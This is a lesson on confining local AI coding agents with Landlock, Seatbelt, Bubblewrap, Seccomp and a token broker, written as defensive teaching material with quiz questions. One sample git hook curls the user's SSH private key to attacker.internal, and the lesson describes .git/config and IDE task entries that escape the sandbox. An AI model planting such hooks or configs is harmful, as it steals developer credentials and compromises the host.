Personalize this lesson
Adapt explanations and teaching visuals to your background and preferred voice.
Suppose a coding agent on your laptop reads an issue, inspects local files, and runs tests to reproduce a bug. When it runs as an ordinary terminal command, it inherits your full user identity. It can read ~/.ssh/id_ed25519, inspect ~/.aws/credentials, probe internal corporate subnets, or read environment secrets.
Code Generation & Sandboxing used Docker, gVisor, and WebAssembly on servers. A laptop runner needs to read the working tree and invoke development tools while limiting which account resources those commands can reach. Host-native controls can build this boundary without a rootful container daemon.
Claude Code, Codex CLI, and Gemini CLI still need the model to read the project and run the build. They need that without a root daemon, and without letting a prompt injection read credentials or take over the workstation.
A trusted supervisor keeps credentials and configures the worker's access. On Linux, Landlock can restrict declared resource rights, Seccomp-BPF can filter system calls, and namespaces can narrow the worker's view. macOS uses different controls, including Seatbelt profiles. The filesystem policy must also protect files that host tools will execute later.

Unprivileged containment with Linux Landlock
Linux Security Modules (LSMs) like SELinux and AppArmor historically required root privileges to configure. Linux 5.13 introduced Landlock, an unprivileged access-control subsystem.[1] A thread can restrict itself and its future children. Covering existing sibling threads requires supported thread synchronization.
Landlock checks file access when an object is opened. A descriptor opened before enforcement can retain its associated rights afterward, so close unnecessary inherited descriptors before untrusted work and keep sensitive handles outside the worker.[1]
A process configures Landlock through three kernel system calls:
landlock_create_ruleset: Defines the categories of actions to govern (filesystem access, TCP networking, and process scoping).landlock_add_rule: Adds grants for file hierarchies or supported network ports. AnO_PATHdescriptor identifies a filesystem object; directory rules can cover its subtree.landlock_restrict_self: Enforces the ruleset on the calling thread. Once enforced, the restriction cannot be revoked or broadened.
For the unprivileged manual setup used here, set prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) before enforcement. ABI 11 also offers a restriction flag that sets no_new_privs when enforcement succeeds. ABI 8 added LANDLOCK_RESTRICT_SELF_TSYNC for existing threads.[1]
Landlock rights used in this example
Landlock adds capabilities through a versioned ABI. Query the kernel at runtime with landlock_create_ruleset(NULL, 0, LANDLOCK_CREATE_RULESET_VERSION), then build a policy using only the features it supports:
- ABI v1 (Linux 5.13): Core filesystem rights, including file reads/writes, execution, directory enumeration, and object creation/removal.
- ABI v2 (Linux 5.19): File referral and rename rights (
LANDLOCK_ACCESS_FS_REFER). - ABI v3 (Linux 6.2): File truncation rights (
LANDLOCK_ACCESS_FS_TRUNCATE). - ABI v4 (Linux 6.7): TCP network access control (
LANDLOCK_ACCESS_NET_BIND_TCPandLANDLOCK_ACCESS_NET_CONNECT_TCP). - ABI v5 (Linux 6.10): Device ioctl controls (
LANDLOCK_ACCESS_FS_IOCTL_DEV). - ABI v6 (Linux 6.12): Process scoping controls (
LANDLOCK_SCOPE_ABSTRACT_UNIX_SOCKETandLANDLOCK_SCOPE_SIGNAL) for abstract sockets and signals across the Landlock domain boundary.
This subset stops at ABI 6. Probe the running kernel and handle unavailable rights explicitly. The following setup fragment assumes a successful probe and ABI 3 or newer. It creates a ruleset descriptor; adding grants, handling failures, and enforcing the policy still remain.
// Probe available ABI version
int abi = syscall(__NR_landlock_create_ruleset, NULL, 0, LANDLOCK_CREATE_RULESET_VERSION);
struct landlock_ruleset_attr attr = {
.handled_access_fs = LANDLOCK_ACCESS_FS_READ_FILE |
LANDLOCK_ACCESS_FS_WRITE_FILE |
LANDLOCK_ACCESS_FS_EXECUTE |
LANDLOCK_ACCESS_FS_READ_DIR |
LANDLOCK_ACCESS_FS_TRUNCATE,
.handled_access_net = (abi >= 4) ? (LANDLOCK_ACCESS_NET_CONNECT_TCP | LANDLOCK_ACCESS_NET_BIND_TCP) : 0,
.scoped = (abi >= 6) ? (LANDLOCK_SCOPE_SIGNAL | LANDLOCK_SCOPE_ABSTRACT_UNIX_SOCKET) : 0,
};
int ruleset_fd = syscall(__NR_landlock_create_ruleset, &attr, sizeof(attr), 0);| Landlock Access Flag | Enforced Operation | Typical Local Agent Assignment |
|---|---|---|
LANDLOCK_ACCESS_FS_READ_FILE | Open existing files for reading | Granted to system libraries, tools, and project workspace |
LANDLOCK_ACCESS_FS_READ_DIR | Enumerate directory entries | Granted to system paths and project workspace |
LANDLOCK_ACCESS_FS_WRITE_FILE | Write to existing files | Granted strictly to workspace src/ and output directories |
LANDLOCK_ACCESS_FS_TRUNCATE | Truncate a file | Governed separately from writes on ABI 3 or newer |
LANDLOCK_ACCESS_FS_MAKE_REG | Create regular files | Granted strictly to workspace scratch locations |
LANDLOCK_ACCESS_FS_EXECUTE | Execute binary programs or scripts | Granted to /usr, /bin, and virtualenv binaries |
LANDLOCK_ACCESS_FS_REFER | Link or rename across directories | Restricted to prevent moving files outside sandbox paths |
LANDLOCK_ACCESS_NET_CONNECT_TCP | Connect to outbound TCP ports | Denied inside worker; outbound requests routed to supervisor |
LANDLOCK_SCOPE_SIGNAL | Send signals (kill/term) to processes | Restricted to sandbox-internal process tree |
The subtree boundary is useful on a developer machine: granting read-write access to /home/dev/project does not also grant access to /home/dev/.ssh or /home/dev/.bashrc, even though they share the /home/dev parent directory. That rule is Landlock on Linux. A Mac laptop needs a different kernel control for the same deny.
Why is Landlock uniquely well-suited for local coding CLI agents compared to traditional SELinux or Docker?
Answer
Landlock operates unprivileged. A local CLI tool can restrict its own file-system access using standard system calls without requiring root privileges, sudo prompts, or a running Docker daemon.
macOS Seatbelt and Sandbox Profiles
On macOS, a CLI runner can use a custom Seatbelt profile, as Chromium's implementation demonstrates.[2] Apple's supported App Sandbox model describes app resources through entitlements.[3] A custom CLI profile needs its own compatibility and enforcement checks on the target macOS release.
These C and Scheme fragments show a parameterized profile design. They are unexecuted integration fragments: a wrapper must supply profile_string, handle startup failures, and validate the resulting restrictions. All four path parameters used by the profile appear below:
#include <sandbox.h>
// Initialize Seatbelt programmatically with path parameters
const char *params[] = {
"PROJECT_DIR", "/Users/dev/workspace",
"TARGET_HOME_SSH", "/Users/dev/.ssh",
"TARGET_HOME_AWS", "/Users/dev/.aws",
"TARGET_HOME_KEYCHAIN", "/Users/dev/Library/Keychains",
NULL
};
char *error = NULL;
if (sandbox_init_with_parameters(profile_string, 0, params, &error) != 0) {
fprintf(stderr, "Sandbox initialization failed: %s\n", error);
sandbox_free_error(error);
exit(1);
}The profile starts with default deny, then grants selected operations. Its whole-project write grant also includes .git; protecting that metadata requires a narrower policy.
;; Declare version and default-deny policy
(version 1)
(deny default)
;; Permit process execution for approved binaries
(allow process-exec
(literal "/bin/sh")
(literal "/bin/bash")
(literal "/usr/bin/git")
(literal "/usr/bin/python3")
(subpath "/usr/bin")
(subpath "/usr/local/bin"))
;; Allow read-only access to standard system libraries and runtimes
(allow file-read*
(subpath "/usr")
(subpath "/lib")
(subpath "/System")
(subpath "/Library/Developer"))
;; Explicitly deny sensitive developer directories
(deny file-read* file-write*
(subpath (param "TARGET_HOME_SSH"))
(subpath (param "TARGET_HOME_AWS"))
(subpath (param "TARGET_HOME_KEYCHAIN")))
;; Permit read and write only within the designated project root
(allow file-read* file-write*
(subpath (param "PROJECT_DIR")))
;; Permit standard process IPC and terminal descriptors
(allow file-read* file-write*
(literal "/dev/null")
(literal "/dev/zero")
(literal "/dev/urandom")
(literal "/dev/tty"))
;; Deny arbitrary network access
(deny network*)Passing parameters allows the supervisor to bind path variables dynamically at startup.
Filesystem rules and service-lookup rules govern different resources. A mach-lookup denial restricts lookup of the selected service; test the required IPC paths on the target system. The profile above illustrates filesystem and network rules. A writable repository still contains inputs that host tools may execute later.
The workspace escape: securing repository internals
A rule that allows writes anywhere under /path/to/project also permits changes to files that run later, outside the sandbox, as you.
If an untrusted agent can write to any path inside the workspace, it can compromise the developer workstation through multiple vectors:
1. The .git/hooks/ execution trap
Git repositories contain a .git/hooks/ directory with client-side triggers such as post-checkout, pre-commit, and post-merge.[4]
If the agent writes an executable shell script into .git/hooks/post-checkout:
#!/bin/sh
curl -s http://attacker.internal/exfil?d=$(cat ~/.ssh/id_ed25519 | base64)With the default hooks directory and executable bit set, a later host git checkout main can invoke that hook after updating the worktree.[4] It runs under the account that invoked Git. A normal tracked-file diff may never show the planted repository metadata.

2. The .git/config command execution trap
The repository configuration file .git/config supports command directives:
[core]
fsmonitor = /path/to/malicious/script.sh
[diff "custom"]
command = /path/to/malicious/script.shAn operation that uses the configured filesystem monitor or enabled external diff can execute the selected command under the host account. The trigger depends on the operation and configuration.
3. IDE and build task configurations
Editors and developer tools consume repository configuration under their own trust settings:
.vscode/tasks.jsoncan request a"runOn": "folderOpen"task. Workspace trust and automatic-task approval affect whether it runs..idea/and.devcontainer/configurations can request container or script launches when the corresponding feature is used..pre-commit-config.yamlis consumed by configured pre-commit hooks; an approved.envrccan run when direnv loads the directory.
The defense: workspace masking
A secure local sandbox must enforce workspace masking:
- Isolate or mount
.gitread-only: The supervisor separates the working tree from repository metadata. Landlock grants are additive within a layer: a broad writable parent grant also covers its descendants. Grant writes to selected source subtrees, or use an independently restrictive layer or mount arrangement. An environment variable alone doesn't revoke filesystem access. - Deny hidden configuration files: Restrict writes targeting dotfiles (
.*), specifically.git*,.vscode*,.env*, and.pre-commit*. - Audit diffs before host interaction: Verify that candidate changes affect only intended source directories (e.g.,
src/,tests/) before letting host tools touch the repository.
Why is a Landlock rule granting read-write access to a git repository root directory insufficient to protect the host?
Answer
Writable Git metadata can plant an executable hook or configure a command. A later matching host Git operation can run it under the developer's account, after the worker has exited.
Syscall filtering with Seccomp-BPF
Filesystem restrictions help keep credentials off limits. A worker can still try other routes, such as attacking a sibling process or reaching the kernel through raw system calls.
Linux Seccomp-BPF (Secure Computing with Berkeley Packet Filter) allows a process to attach a custom filter program that inspects every system call and its arguments.[5]
Choose a syscall policy for the worker's runtime and threat model. Common restrictions include:
ptrace: Prevents inspecting, pausing, or modifying memory of sibling or parent processes.bpf: Blocks loading kernel BPF bytecode or probing kernel tracing points.chroot: Blocks attempts to change the process root directory through this call.keyctl: Prevents querying kernel session keyrings.socket(AF_PACKET, ...)andsocket(AF_NETLINK, ...): Prevents sniffing raw network packets or altering routing tables.
Bubblewrap (bwrap) constructs a restricted namespace and mount view. Seccomp supplies a complementary syscall filter.[6][5] The illustrative command below mounts source separately from metadata. It does not load a seccomp program; that needs an explicit filter descriptor and --seccomp or the corresponding supported option.
bwrap \
--ro-bind /usr /usr \
--ro-bind /lib /lib \
--ro-bind /bin /bin \
--tmpfs /tmp \
--proc /proc \
--dev /dev \
--bind /path/to/repo/src /app/src \
--ro-bind /path/to/repo/.git /app/.git \
--unshare-all \
--new-session \
--die-with-parent \
python3 -m unittest discover /app/srcKey flags in this configuration:
--ro-bind /path/to/repo/.git /app/.git: This mount rejects metadata writes. Review other writable inputs that host tools may consume.--unshare-all: Isolates mount, PID, IPC, and network namespaces.--die-with-parent: Kills the sandboxed command when bwrap's parent dies. Verify teardown and resource cleanup separately.
Secret-zero containment via Unix domain sockets
Agents often need to interact with external services, such as checking CI status or fetching issue metadata. Injecting GITHUB_TOKEN into worker environment variables creates an immediate leak vector: untrusted code can read os.environ["GITHUB_TOKEN"] and output it to stdout or build logs.
In a secret-zero architecture, no credentials enter the sandbox:
For this constructed trace, the host accepts only GET /repos/owner/repo/pulls/42 and fixes the upstream origin itself. POST, DELETE, or another repository stop before dispatch. A supplied adversarial reply contains number: 42, state: "open", and an extra debug_token: "TEST-ONLY" field. The broker returns only the two approved fields. These are local policy-fixture values; no remote service or real credential is used.

The sandboxed process connects to a local Unix domain socket mounted into its environment. The supervisor validates:
- Is the HTTP method allowed (
GETpermitted;DELETEorPOSTrejected)? - Does the requested URL match the approved repository scope?
- Are returned response fields sanitized to avoid reflecting secrets?
Keeping the token outside the worker removes that direct source of credential leakage. Restrict returned fields and reachable services too: an authorized API response can itself contain sensitive data.
Executable path-policy simulation
The Python script below evaluates five proposed paths against a supplied workspace policy. It calls no Landlock syscall and enforces no OS sandbox. Its unused ctypes import and constants do not change that scope. Resolve-and-compare checks help explain the intended policy; secure file opening also needs protection against filesystem changes between a check and a use.
import os
import sys
import ctypes
import tempfile
from pathlib import Path
# Landlock ABI constants (Linux 5.13+)
LANDLOCK_CREATE_RULESET_VERSION = (1 << 0)
LANDLOCK_RULE_PATH_BENEATH = 1
# Filesystem access rights
ACCESS_FS_READ = (
(1 << 0) | # EXECUTE
(1 << 1) | # WRITE_FILE
(1 << 2) | # READ_FILE
(1 << 3) | # READ_DIR
(1 << 5) # REMOVE_FILE
)
ACCESS_FS_WRITE = (1 << 1) | (1 << 5)
class PathValidator:
"""Evaluates workspace boundaries and denies dangerous repository hooks."""
def __init__(self, workspace_root: Path):
self.workspace_root = workspace_root.resolve()
self.denied_subpaths = {
self.workspace_root / ".git" / "hooks",
self.workspace_root / ".git" / "config",
self.workspace_root / ".vscode",
self.workspace_root / ".env",
}
def can_write(self, target_path: Path) -> bool:
resolved = target_path.resolve()
# Must be within workspace
try:
resolved.relative_to(self.workspace_root)
except ValueError:
return False # Path traversal attempt outside workspace
# Must not be inside any protected configuration target
for denied in self.denied_subpaths:
if resolved == denied or denied in resolved.parents:
return False
return True
# Build a test workspace fixture
with tempfile.TemporaryDirectory() as temp_dir:
root = Path(temp_dir)
src_dir = root / "src"
git_hooks_dir = root / ".git" / "hooks"
vscode_dir = root / ".vscode"
src_dir.mkdir(parents=True)
git_hooks_dir.mkdir(parents=True)
vscode_dir.mkdir(parents=True)
validator = PathValidator(root)
# 1. Standard source file edit -> Allowed
valid_source = src_dir / "app.py"
assert validator.can_write(valid_source) is True
# 2. Path traversal attack -> Denied
traversal_attack = root / ".." / ".ssh" / "authorized_keys"
assert validator.can_write(traversal_attack) is False
# 3. .git/hooks execution trap -> Denied
hook_attack = git_hooks_dir / "post-checkout"
assert validator.can_write(hook_attack) is False
# 4. .git/config execution trap -> Denied
config_attack = root / ".git" / "config"
assert validator.can_write(config_attack) is False
# 5. IDE task execution trap -> Denied
ide_task_attack = vscode_dir / "tasks.json"
assert validator.can_write(ide_task_attack) is False
print("Policy checks passed:")
print(" - Allowed write to src/app.py:", validator.can_write(valid_source))
print(" - Blocked traversal to .ssh:", not validator.can_write(traversal_attack))
print(" - Blocked write to .git/hooks/post-checkout:", not validator.can_write(hook_attack))
print(" - Blocked write to .vscode/tasks.json:", not validator.can_write(ide_task_attack))Policy checks passed:
- Allowed write to src/app.py: True
- Blocked traversal to .ssh: True
- Blocked write to .git/hooks/post-checkout: True
- Blocked write to .vscode/tasks.json: TrueThe assertions confirm five path decisions, including .git/config. Four appear in stdout. No file write, malicious hook, Landlock policy, or macOS profile is exercised by these checks.
The tree exposes the exact protected targets. A write to a descendant of .git/hooks or .vscode is denied; .git/config and .env are separate targets. The .git directory itself passes this helper, and .env.local is outside its exact denied set. A real filesystem boundary must govern the required operations, including changes between a path check and file use.

Follow-up questions
How can an agent install third-party dependencies (e.g., pip packages) if network access is disabled inside the worker?
The supervisor handles dependency resolution outside the untrusted worker or proxies downloads through a local caching server. The supervisor prefetches wheels, validates their cryptographic hashes against lockfiles, and mounts the package directory read-only into the worker environment. This prevents the worker from downloading arbitrary unverified remote code during execution.
What happens if the local developer machine runs an older Linux kernel (e.g. 5.10) where Landlock is unavailable?
Probe Landlock support at startup and inspect failures: ENOSYS can indicate an unavailable syscall; disabled support can return EOPNOTSUPP. Choose an alternative only if its configured controls meet the task's required filesystem, process, and network policy. Seccomp alone filters syscalls without supplying that complete containment. Stop when a required boundary is unavailable.
What strong answers show
- Clear distinction between unprivileged OS sandboxing (Landlock, Seatbelt, Bubblewrap) and rootful container systems (Docker).
- Awareness of workspace jailbreak vectors beyond path traversal, specifically
.git/hooks,.git/config, shell dotfiles, and IDE auto-execution configs. - Knowledge of the modern Landlock ABI evolution, including network socket restrictions (ABI v4) and signal scoping (ABI v6).
- Implementation of secret-zero token brokering via host Unix domain sockets with granular request authorization.
Check your understanding
Helper scope and configured-filter practice.
A toy helper rejects descendants of .git/hooks and .vscode and the exact targets .git/config and .env. It otherwise allows resolved paths inside its workspace. How does it classify .env.test and .git/config.bak?
- Both pass this helper; broader environment/metadata protection needs a stronger boundary.
- Both fail this helper; an exact target implicitly protects every filename with that prefix.
- .env.test fails and .git/config.bak passes; dot-env is treated as a filename prefix.
- .env.test passes and .git/config.bak fails; config is treated as a filename prefix.
Answer
Both pass this helper; broader environment/metadata protection needs a stronger boundary.
These are different filenames, not descendants of the exact file targets. The helper’s set is narrower than a policy excluding all environment files or metadata. Its result neither installs a kernel sandbox nor proves that broader policy.
A Bubblewrap command mounts Git metadata read-only, and a test metadata write fails. No seccomp filter descriptor was supplied. What evidence claim is justified?
- The write failed through the mount boundary; the same run establishes a ptrace syscall deny.
- The write failed through the syscall filter; the read-only mount requires no separate check.
- The write failed through namespace naming; this establishes every resource operation is contained.
- The write failed under the mounted view; syscall filtering needs its own configured policy and probes.
Answer
The write failed under the mounted view; syscall filtering needs its own configured policy and probes.
The invocation did not load a seccomp program. A denied metadata write tests that operation under the mount view, not an unrelated syscall or the whole sandbox. Configure the required filter and test its actual paths separately.